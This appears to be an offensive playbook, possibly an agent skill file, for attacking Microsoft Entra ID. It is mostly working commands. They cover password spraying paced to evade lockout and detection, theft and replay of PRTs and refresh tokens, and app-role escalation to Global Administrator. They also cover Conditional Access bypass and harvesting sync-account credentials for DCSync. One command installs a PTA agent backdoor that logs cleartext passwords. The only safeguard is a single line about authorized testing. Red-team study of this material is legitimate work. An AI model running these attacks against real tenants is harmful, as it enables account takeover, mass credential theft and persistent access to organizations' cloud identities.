Attacking Entra Id

Attacking Entra ID

Entra ID (formerly Azure AD) is the identity control plane for Microsoft 365, Azure, and thousands of SaaS integrations. Compromising it grants access to everything those identities protect: mailboxes, SharePoint, Azure subscriptions, and any application that trusts the tenant. Despite this, Entra ID environments are routinely less monitored than on-premises Active Directory. Most organizations lack equivalent detection coverage for cloud identity attacks, and the attack surface -- OAuth tokens, application consent, service principals, Conditional Access gaps -- is fundamentally different from traditional AD.

Only against tenants you are authorized to test.

When to Use

• Entra ID tenant reconnaissance and enumeration
• Password spraying against Microsoft 365 / Azure AD endpoints
• Stealing or replaying OAuth tokens, refresh tokens, and PRTs
• Abusing application registrations, service principals, and consent grants
• Bypassing Conditional Access policies
• Hybrid identity attacks (Azure AD Connect, PTA agents)

When NOT to Use

• On-premises Active Directory attacks (Kerberoasting, DCSync, lateral movement) -- use attacking-active-directory
• General AWS/Azure/GCP infrastructure (VMs, storage, IAM roles) -- use exploiting-cloud-platforms
• AD CS certificate abuse -- use abusing-adcs
• Detecting these attacks defensively -- use engineering-detections

Initial Reconnaissance

Tenant discovery requires no credentials. Start here to confirm the target tenant exists, identify federation configuration, and map the attack surface.

# AADInternals -- tenant recon
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -DomainName target.com

# Get tenant ID from OpenID configuration
curl https://login.microsoftonline.com/target.com/.well-known/openid-configuration

# Check user realm (managed vs. federated)
curl "https://login.microsoftonline.com/common/userrealm/user@target.com?api-version=2.0"

# ROADtools -- authenticated enumeration (once you have creds)
roadrecon auth -u user@target.com -p 'Password'
roadrecon gather
roadrecon gui
# Browse the GUI: users, groups, applications, service principals, conditional access

# AzureHound -- BloodHound collection for Azure/Entra
azurehound -u user@target.com -p 'Password' list --tenant target.com -o output.json

ROADtools GUI is the single most useful view of a tenant. Run roadrecon gather immediately after obtaining any valid credential.

Password Spraying

Microsoft rate-limits and logs sprays, so cadence matters. One password per user per 30-60 minutes avoids smart lockout in most configurations.

# MSOLSpray -- targets the Microsoft Online login endpoint
Import-Module MSOLSpray.ps1
Invoke-MSOLSpray -UserList users.txt -Password 'Spring2026!' -URL https://login.microsoft.com

# o365spray -- enumerate then spray
o365spray --validate --domain target.com
o365spray --enum -U users.txt --domain target.com
o365spray --spray -U valid_users.txt -P passwords.txt --domain target.com --rate 1 --safe 30

# TREVORspray -- distributed spraying via SOCKS proxies
trevorspray -u users.txt -p 'Summer2026!' --delay 1800

Lockout-safe cadence:

• One attempt per user per 30 minutes minimum
• Rotate passwords, not users
• Avoid the user's previous password (it triggers a different log event)
• Monitor for AADSTS50053 (locked) and AADSTS50126 (invalid password) to distinguish lockout from failure

Token Theft and Replay

Entra ID authentication produces several token types. Each has different lifetimes, scopes, and replay conditions.

Primary Refresh Token (PRT)

The PRT is a long-lived credential cached on Azure AD joined or registered devices. It grants SSO to all Microsoft cloud services.

# Extract PRT using ROADtoken (requires SYSTEM or user session)
ROADtoken.exe

# RequestAADRefreshToken -- request a refresh token using the PRT
RequestAADRefreshToken.exe

# AADInternals -- export PRT from a joined device
$prt = Get-AADIntUserPRTToken
# Use it in a browser by injecting the x-ms-RefreshTokenCredential cookie

A stolen PRT bypasses MFA if MFA was satisfied when the PRT was issued, because the PRT carries the MFA claim.

Refresh Token Replay

# Exchange a refresh token for an access token
curl -X POST https://login.microsoftonline.com/TENANT_ID/oauth2/v2.0/token \
  -d "client_id=CLIENT_ID&grant_type=refresh_token&refresh_token=STOLEN_RT&scope=https://graph.microsoft.com/.default"

# ROADtools -- authenticate with a refresh token
roadrecon auth --refresh-token 'eyJ0...'
roadrecon gather

Continuous Access Evaluation (CAE) Gaps

CAE-aware tokens are checked against revocation in near real-time, but not all applications support CAE. Token lifetime for non-CAE resources remains up to 1 hour. Critical event evaluation (user disabled, password change) propagates within minutes, but IP-based evaluation covers only supported workloads. Check whether the target application enforces CAE before assuming token revocation is instantaneous.

Application and Service Principal Abuse

Applications and service principals are the most under-reviewed attack surface in Entra ID. They persist through user offboarding, hold credentials that nobody rotates, and often have excessive API permissions.

Dangerous Application Permissions

Application (not delegated) permissions that grant tenant-wide access without user consent:

• Mail.Read / Mail.ReadWrite -- read all mailboxes in the tenant
• RoleManagement.ReadWrite.Directory -- assign any directory role, including Global Administrator
• AppRoleAssignment.ReadWrite.All -- grant any app role to any principal
• Application.ReadWrite.All -- modify any application registration
• Directory.ReadWrite.All -- broad write across directory objects

# Enumerate applications with high-privilege permissions (Graph API)
az rest --method GET --url "https://graph.microsoft.com/v1.0/servicePrincipals?\$select=displayName,appId,appRoles" \
  --query "value[].{name:displayName,appId:appId}"

# ROADtools -- the GUI shows app permissions under each service principal

# Find apps with credentials (secrets/certificates)
az ad app list --query "[?passwordCredentials || keyCredentials].{name:displayName,appId:appId}" -o table

Consent Grant Abuse (Illicit Consent Grant)

If users can consent to applications, an attacker can register a malicious multi-tenant app requesting Mail.Read and similar scopes, then phish a user into granting consent.

# Microsoft Graph PowerShell. The AzureAD and MSOnline modules are gone --
# deprecated March 2024, unsupported after 30 March 2025, retired from
# July 2025 -- so any Get-AzureAD*/Get-Msol* command you find in older
# tradecraft will simply fail to authenticate.
Connect-MgGraph -Scopes 'Policy.Read.All','Application.Read.All'

# Check whether user consent is allowed
(Get-MgPolicyAuthorizationPolicy).DefaultUserRolePermissions.PermissionGrantPoliciesAssigned
# If "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present,
# users can consent to third-party apps

# Enumerate existing consent grants
Get-MgOauth2PermissionGrant -All

App Role Assignment Escalation

If you control a service principal with AppRoleAssignment.ReadWrite.All:

# Grant RoleManagement.ReadWrite.Directory to your controlled SP
az rest --method POST \
  --url "https://graph.microsoft.com/v1.0/servicePrincipals/SP_OBJECT_ID/appRoleAssignments" \
  --body '{"principalId":"SP_OBJECT_ID","resourceId":"GRAPH_SP_ID","appRoleId":"ROLE_MANAGEMENT_ROLE_ID"}'
# Then assign Global Administrator to any user or SP

Conditional Access Bypass

Conditional Access (CA) policies are the primary security control in Entra ID, but gaps are common.

Common bypass patterns:

• Legacy authentication protocols -- CA policies that do not block legacy auth allow password-only authentication via IMAP/POP/SMTP
• Device compliance gaps -- policies requiring compliant devices often exclude service accounts or break-glass accounts
• Named location trust -- if the policy trusts certain IP ranges, an attacker on those networks (VPN, compromised on-prem host) bypasses MFA
• Platform exclusions -- policies scoped to Windows/macOS may not apply to Linux or mobile
• Application exclusions -- not all applications are covered; check Microsoft Admin portals, Azure Management, and Graph API specifically
• CAE vs. non-CAE resources -- revocation signals do not reach non-CAE applications in real time

# Enumerate CA policies (requires Policy.Read.All or equivalent)
az rest --method GET --url "https://graph.microsoft.com/v1.0/identity/conditionalAccessPolicies"

# ROADtools -- CA policies are visible in the GUI after gathering

# Test legacy auth (if not blocked)
curl -u user@target.com:password https://outlook.office365.com/EWS/Exchange.asmx

Cross-Tenant Attacks

B2B Guest Pivoting

Guest accounts in one tenant often have access to resources in the inviting tenant. If you compromise a user who is a guest in another tenant, enumerate what that guest can reach.

# List tenants the compromised user is a guest in
az account list --all --query "[].{tenant:tenantId,name:name}"

# Switch context to the target tenant
az login --tenant TARGET_TENANT_ID

# Enumerate accessible resources in the target tenant
az ad signed-in-user show
az group list

Tenant-to-Tenant Trust Abuse

Cross-tenant access settings and cross-tenant synchronization can create trust paths:

• Inbound trust allowing MFA claims from the source tenant -- compromising a user in the source tenant gives MFA-bypassed access to the target
• Cross-tenant sync pushing identities into the target -- if you control the source tenant's sync, you can inject accounts into the target

# Enumerate cross-tenant access policies
Get-MgPolicyCrossTenantAccessPolicyPartner | Select TenantId, InboundTrust, AutomaticUserConsentSettings

Hybrid Identity Attacks

Hybrid environments connect on-premises AD to Entra ID, creating attack paths in both directions.

Azure AD Connect -- Sync Account DCSync

Azure AD Connect uses a service account with Directory Replication permissions (DCSync rights) in on-premises AD. The credentials are stored encrypted on the Connect server.

# AADInternals -- extract the sync account credentials from the Connect server
# Requires local admin on the Azure AD Connect host
Import-Module AADInternals
Get-AADIntSyncCredentials
# Returns: username (MSOL_xxxx or custom), password, tenant ID

# Use the sync account to DCSync on-prem AD
secretsdump.py 'MSOL_abc123:password@dc.domain.local' -just-dc

Compromising the Azure AD Connect server is a domain compromise. The sync account also has the ability to reset cloud passwords unless password writeback scope is restricted.

Pass-Through Authentication (PTA) Agent Abuse

PTA agents validate on-prem passwords for cloud logins. An attacker with admin access on the PTA agent host can intercept credentials in cleartext.

# AADInternals -- install a PTA agent backdoor that logs credentials
# and optionally accepts any password
Install-AADIntPTASpy

# Retrieve intercepted credentials
Get-AADIntPTASpyLog

# Remove the spy
Remove-AADIntPTASpy

Compromising any PTA agent host gives cleartext credentials for every cloud authentication by non-synced-hash users.